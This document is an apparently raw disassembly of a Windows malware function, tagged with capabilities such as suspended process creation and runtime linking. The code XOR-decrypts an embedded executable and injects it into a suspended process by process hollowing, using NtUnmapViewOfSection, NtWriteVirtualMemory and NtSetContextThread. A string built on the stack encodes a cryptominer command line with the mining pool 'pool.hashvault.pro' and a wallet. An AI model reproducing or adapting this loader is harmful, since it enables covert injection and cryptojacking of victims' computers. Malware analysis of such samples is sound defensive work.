Function at 0x140001450
Capabilities:
Create process on windows
Create process suspended
Link many functions at runtime

Disassembly:
push rbp
sub rsp, 0x180
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x110], rcx
mov rax, qword [rbp + 0x110]
mov rax, qword [rax]
mov rcx, rax
call sym.strlen
add rax, 0x87
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0x110]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0xe0]
add rax, rdx
movabs rcx, 0x6c6f6f70206f2d20
mov qword [rax], rcx
movabs rcx, 0x687361682e6c6f
mov qword [rax + 6], rcx
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0xe0]
add rax, rdx
movabs rdx, 0x72702e746c756176
movabs rcx, 0x752d203334343a6f
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0xf], 0x342075
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0xe0]
add rax, rdx
movabs rdx, 0x5357654d50415341
movabs rcx, 0x6953597679475979
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rcx, 0x32597644444447
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0xe0]
add rax, rdx
movabs rdx, 0x55337a5150335343
movabs rcx, 0x3738527335783863
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rcx, 0x7a5258766d7837
mov qword [rax + 0xf], rcx
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0xe0]
add rax, rdx
movabs rdx, 0x677146385367444c
movabs rcx, 0x4535585138456948
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdx, 0x785a6a3445355851
movabs rcx, 0x4235465052684d
mov qword [rax + 0xc], rdx
mov qword [rax + 0x14], rcx
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0xe0]
add rax, rdx
movabs rcx, 0x6f5a59484d506f68
mov qword [rax], rcx
movabs rcx, 0x695a366571746f
mov qword [rax + 7], rcx
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0xe0]
add rax, rdx
movabs rdx, 0x6b73376d684b4d72
movabs rcx, 0x6c742d2d206b2d20
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov word [rax + 0x10], 0x73
mov qword [rbp + 0xd8], 0
pxor xmm0, xmm0
movups xmmword [rbp], xmm0
movq qword [rbp + 0x10], xmm0
mov qword [rbp + 0xd0], 0
mov dword [rbp + 0xcc], 0
mov qword [rbp + 0xc0], 0
mov dword [rbp + 0xbc], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xa0], 0
mov dword [rbp + 0x9c], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov dword [rbp - 0x17], 0x6c65722e
mov dword [rbp - 0x14], 0x636f6c
mov qword [rbp - 0x20], 0
mov dword [rbp + 0x44], 0
mov qword [rbp - 0x28], 0
mov dword [rbp + 0xfc], 0
mov qword [rbp + 0x38], 0
mov dword [rbp + 0x34], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x24], 0
mov qword [rbp - 0x30], 0
lea rax, str.ntdll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
lea rdx, str.NtGetContextThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x90]
lea rdx, str.NtReadVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x90]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x90]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x90]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x90]
lea rdx, str.NtSetContextThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x60], rax
mov ecx, 0x68
call sym.malloc
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xd8]
mov dword [rax], 0x68
mov rax, qword [rbp + 0xe0]
mov rdx, rbp
mov qword [rsp + 0x48], rdx
mov rdx, qword [rbp + 0xd8]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.free
mov eax, dword [0x140614e00]
mov dword [rbp + 0xcc], eax
lea rax, section..data
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xf8], 0
jmp 0x140001966
mov eax, dword [rbp + 0xf8]
lea rdx, section..data
movzx edx, byte [rax + rdx]
movzx eax, byte [0x140614e04]
mov ecx, edx
xor ecx, eax
mov eax, dword [rbp + 0xf8]
lea rdx, section..data
mov byte [rax + rdx], cl
add dword [rbp + 0xf8], 1
mov eax, dword [0x140614e00]
cmp dword [rbp + 0xf8], eax
jb 0x140001933
mov ecx, 0x4d0
call sym.malloc
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov r8d, 0x4d0
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xb0]
mov dword [rax + 0x30], 0x10000b
mov rax, qword [rbp + 8]
mov rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0x88]
mov rcx, rax
call r8
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x1400019de
mov eax, 0
jmp 0x140001f93
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp]
lea rdx, [rbp - 8]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x80]
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001a36
mov eax, 0
jmp 0x140001f93
mov rdx, qword [rbp - 8]
mov rax, qword [rbp]
mov r8, qword [rbp + 0x78]
mov rcx, rax
call r8
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001a61
mov eax, 0
jmp 0x140001f93
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xc0]
add rax, rdx
mov qword [rbp + 0x50], rax
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x50]
mov eax, dword [rax + 0x50]
mov eax, eax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp]
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x10]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov r10, qword [rbp + 0x70]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001ae1
mov eax, 0
jmp 0x140001f93
mov rax, qword [rbp - 8]
mov rdx, rax
mov rax, qword [rbp + 0x50]
mov rax, qword [rax + 0x30]
sub rdx, rax
mov qword [rbp + 0xa8], rdx
mov rax, qword [rbp - 8]
mov rdx, rax
mov rax, qword [rbp + 0x50]
mov qword [rax + 0x30], rdx
mov rax, qword [rbp + 0x50]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp]
mov rcx, qword [rbp + 0xc0]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x68]
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001b54
mov eax, 0
jmp 0x140001f93
mov dword [rbp + 0xf4], 0
jmp 0x140001c07
mov rax, qword [rbp + 0x58]
mov eax, dword [rax + 0x3c]
movsxd rcx, eax
mov eax, dword [rbp + 0xf4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
lea rdx, [rax + 0x108]
mov rax, qword [rbp + 0xc0]
add rax, rdx
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xc0]
lea rcx, [rdx + rax]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0xc]
mov eax, eax
add rdx, rax
mov rax, qword [rbp]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x68]
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001c00
mov eax, 0
jmp 0x140001f93
add dword [rbp + 0xf4], 1
mov rax, qword [rbp + 0x50]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xf4], eax
jl 0x140001b63
cmp qword [rbp + 0xa8], 0
je 0x140001e74
mov dword [rbp + 0xf0], 0
jmp 0x140001e5d
mov rax, qword [rbp + 0x58]
mov eax, dword [rax + 0x3c]
movsxd rcx, eax
mov eax, dword [rbp + 0xf0]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
lea rdx, [rax + 0x108]
mov rax, qword [rbp + 0xc0]
add rax, rdx
mov qword [rbp + 0x48], rax
lea rax, [rbp - 0x17]
mov rcx, rax
call sym.strlen
mov rcx, rax
mov rax, qword [rbp + 0x48]
lea rdx, [rbp - 0x17]
mov r8, rcx
mov rcx, rax
call sym.memcmp
test eax, eax
jne 0x140001e55
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x14]
mov dword [rbp + 0x44], eax
mov rax, qword [rbp + 0x50]
mov rax, qword [rax + 0xb0]
mov qword [rbp - 0x28], rax
mov dword [rbp + 0xfc], 0
jmp 0x140001e44
mov edx, dword [rbp + 0x44]
mov eax, dword [rbp + 0xfc]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0xc0]
add rax, rdx
mov qword [rbp + 0x38], rax
add dword [rbp + 0xfc], 8
mov rax, qword [rbp + 0x38]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0x34], eax
mov edx, dword [rbp + 0x44]
mov eax, dword [rbp + 0xfc]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0xc0]
add rax, rdx
mov qword [rbp + 0x28], rax
mov dword [rbp + 0xec], 0
jmp 0x140001e35
add dword [rbp + 0xfc], 2
mov eax, dword [rbp + 0xec]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x28]
add rax, rdx
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x140001e2d
mov rax, qword [rbp + 0x38]
mov edx, dword [rax]
mov eax, dword [rbp + 0xec]
cdqe
lea rcx, [rax + rax]
mov rax, qword [rbp + 0x28]
add rax, rcx
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add eax, edx
mov dword [rbp + 0x24], eax
mov qword [rbp - 0x30], 0
mov eax, dword [rbp + 0x24]
mov rdx, qword [rbp - 8]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x80]
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001dce
mov eax, 0
jmp 0x140001f93
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp + 0xa8]
add rax, rdx
mov qword [rbp - 0x30], rax
mov eax, dword [rbp + 0x24]
mov rdx, qword [rbp - 8]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x68]
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001e2e
mov eax, 0
jmp 0x140001f93
nop
add dword [rbp + 0xec], 1
mov eax, dword [rbp + 0xec]
cmp eax, dword [rbp + 0x34]
jb 0x140001d25
mov eax, dword [rbp - 0x24]
cmp dword [rbp + 0xfc], eax
jb 0x140001cc6
jmp 0x140001e56
nop
add dword [rbp + 0xf0], 1
mov rax, qword [rbp + 0x50]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xf0], eax
jl 0x140001c3b
mov rax, qword [rbp + 0x50]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x68]
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001ecd
mov eax, 0
jmp 0x140001f93
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x50]
mov eax, dword [rax + 0x28]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xa0]
mov qword [rax + 0x80], rdx
mov rax, qword [rbp + 8]
mov rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0x60]
mov rcx, rax
call r8
mov dword [rbp + 0x9c], eax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call sym.free
cmp dword [rbp + 0x9c], 0
je 0x140001f33
mov eax, 0
jmp 0x140001f93
mov rax, qword [rbp + 0xe0]
mov rcx, rax
call sym.free
mov dword [rbp + 0xe8], 0
jmp 0x140001f81
mov eax, dword [rbp + 0xe8]
lea rdx, section..data
movzx edx, byte [rax + rdx]
movzx eax, byte [0x140614e04]
mov ecx, edx
xor ecx, eax
mov eax, dword [rbp + 0xe8]
lea rdx, section..data
mov byte [rax + rdx], cl
add dword [rbp + 0xe8], 1
mov eax, dword [0x140614e00]
cmp dword [rbp + 0xe8], eax
jb 0x140001f4e
mov rax, qword [rbp]
add rsp, 0x180
pop rbp
ret